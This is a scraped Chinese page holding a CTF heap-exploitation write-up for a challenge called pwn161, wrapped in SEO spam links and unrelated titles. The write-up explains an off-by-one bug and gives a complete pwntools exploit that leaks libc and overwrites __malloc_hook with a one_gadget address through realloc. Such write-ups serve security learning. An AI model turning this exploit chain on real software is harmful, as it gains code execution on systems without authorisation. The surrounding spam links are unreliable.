当前位置: 首页 > wzjs >正文

怎么做企业销售网站做外贸网站流程图

怎么做企业销售网站,做外贸网站流程图,微网站在线制作,电动车网站模板checksec:保护全开 64位 IDA64打开:逐个查看函数add:使用calloc进行申请堆,并且堆大小限制在0x1000以内 用了两个全局变量分别存储是否使用(inuse)和大小(size) qword_202048是位于b…

checksec:

保护全开 64位 IDA64打开:

逐个查看函数

add:

使用calloc进行申请堆,并且堆大小限制在0x1000以内 用了两个全局变量分别存储是否使用(inuse)和大小(size) qword_202048是位于bss段上的堆指针

edit:

E3A函数:

对修改大小进行了判断,如果修改大小和堆大小相差10 就允许多输入1字节,也就是存在off-by-one漏洞

del:

正常的free并且清零了堆

show:正常

所以思路是先泄露libc,利用unsorted bin泄露 再用malloc hook和one gadget打

通过off-by-one修改chunk的size位为能包含下一个chunk,然后free掉修改的堆再申请原大小,这样就能利用show打印出来堆地址了

泄露出libc后就是使用malloc_hook了,但是这题one_gadget的条件不能直接满足,所以要用realloc_hook调整栈帧

exp:

from pwn import *p = process('./pwn161')
context.log_level = 'debug'def add(size):p.sendlineafter(b"Choice: ", b'1')p.sendlineafter(b'size: ', str(size))#p.sendlineafter(b'message:\n' , message)def delete(index):p.sendlineafter(b"Choice: ", b'3')p.sendlineafter(b'index: ' , str(index))def edit(index,size, message):p.sendlineafter(b"Choice: ", b'2')p.sendlineafter(b'index: ' , str(index))p.sendlineafter(b'size: ' , str(size))p.sendlineafter(b'content: ' , message)def show(index):p.sendlineafter(b"Choice: ", b'4')p.sendlineafter(b'index: ' , str(index))elf = ELF('./pwn161')
libc = ELF('./libc-2.23-64.so')gdb.attach(p)add(0x68) #chunk0
add(0x68) #chunk1
add(0x68) #chunk2
add(0x68) #chunk3
payload = b'a' * (0x68) + p8(0xe1)  #0x68 + 0x68 + 0x10 + 0x1
edit(0, 0x68 + 10, payload)
delete(1)
add(0x68)
show(2)
p.recvuntil(b': ')
leak = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak))
#pause()
libc_base = leak - 0x3c4b78
malloc = libc_base + libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
one_gadget = libc_base + 0x4526a
print(hex(malloc))
#pause()add(0x68) #chunk4
pause()
edit(0, 0x68 + 10, payload) 
#pause()
delete(1)
add(0xd0) #refresh chunk1 sizepayload = b'a' * (0x68) + p64(0x71)
pause()
edit(1, len(payload), payload) #calloc会清空申请大小里的内容 恢复chunk2的size
pause()
delete(2)  edit(4, 0x8, p64(malloc - 0x23)) #fake_chunkadd(0x68) #chunk2
add(0x68) #chunk5 --fastbin attack 现在该位置为malloc-0x23payload = b'a' * (0x13 - 8) + p64(one_gadget) + p64(realloc)     #realloc->one_gadget,malloc_hook->realloc_hook
edit(5, len(payload), payload)
add(0x68)
p.interactive()


文章转载自:

http://cFI5Kef3.pndhh.cn
http://fKMXqEzF.pndhh.cn
http://SjfhrjxM.pndhh.cn
http://0lKuj6nY.pndhh.cn
http://rgwEDRr6.pndhh.cn
http://FrOI3eLW.pndhh.cn
http://N7WVJQfi.pndhh.cn
http://zrpfLAjN.pndhh.cn
http://9DGpa2dy.pndhh.cn
http://VxyfWdQN.pndhh.cn
http://fBkXNGD7.pndhh.cn
http://fgkMOM8f.pndhh.cn
http://JYJGBhYP.pndhh.cn
http://DPNl9VlT.pndhh.cn
http://KqVWv8t8.pndhh.cn
http://bxNnhFnx.pndhh.cn
http://wxUeaFsF.pndhh.cn
http://tk2Bjb6F.pndhh.cn
http://4flHJ0jV.pndhh.cn
http://cgNVMYXU.pndhh.cn
http://MatWmQZ3.pndhh.cn
http://m8cXiq0g.pndhh.cn
http://7WGKPi8L.pndhh.cn
http://vYQiUxLf.pndhh.cn
http://roe7iSyD.pndhh.cn
http://RDH9ZQ6J.pndhh.cn
http://zA7xcBod.pndhh.cn
http://JCE7Xf4a.pndhh.cn
http://HpZUNRtP.pndhh.cn
http://aK2RiNOT.pndhh.cn
http://www.dtcms.com/wzjs/647181.html

相关文章:

  • 家居网站建设平台浙江建设银行官网站纪念币
  • 网站后台关键词怎么设置中美关系最新消息
  • 做网站建设销售工资高端求职网站排名
  • 织梦响应式网站模板c 网站开发教程 购物网站
  • 网站建设需要包含什么平面设计培训
  • 商丘网站制作方案wordpress主题文件夹在哪里设置
  • 域名怎么做网站wordpress 自定义内容类型
  • 河北省建设环境备案网站做门户类网站报价
  • 精品资源共享课程网站建设论文烟台城乡建设住建局网站
  • 网站建设. 龙兵科技上海高端定制网站公司
  • 腾讯视频网站源码手机网站模板 导航
  • 网站服务器和空间大小写作网站哪个名声好
  • 网站副标题的作用新乡公司做网站
  • 建设中学校园网站的来源网站建设常出现的问题
  • 肇庆高端模板建站正规的关键词优化软件
  • 做网站之前备案网站做多久才有流量
  • 网站质量度济南百度网站开发
  • 网站建设计划书少儿编程加盟培宝未来
  • 网站建设 管理 会议纪要大连工业大学宿舍
  • 我的企业网站怎么seo电子商务做网站设计
  • 有哪些网站系统徽标设计制作
  • 黑客攻击的网站北京专业建设网站价格
  • 长春网站优化教程做网站视频下载
  • 网站推广服务算中介吗wordpress 公网贷款
  • 金山网站建设关键词排名网页广告投放
  • 西安网站建设外包服务企业网站建设规划ppt
  • 做粤菜的视频网站艺术品商城网站开发
  • 网站开发图片加载慢做搞笑app好还是做电影网站好
  • 衡水微网站制作怎么做网站制作和推广
  • 网站采集注意wordpress不能下载